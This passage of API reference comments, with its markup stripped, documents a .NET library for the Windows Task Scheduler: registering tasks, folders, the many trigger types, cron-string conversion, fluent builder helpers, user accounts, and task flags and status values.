indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + 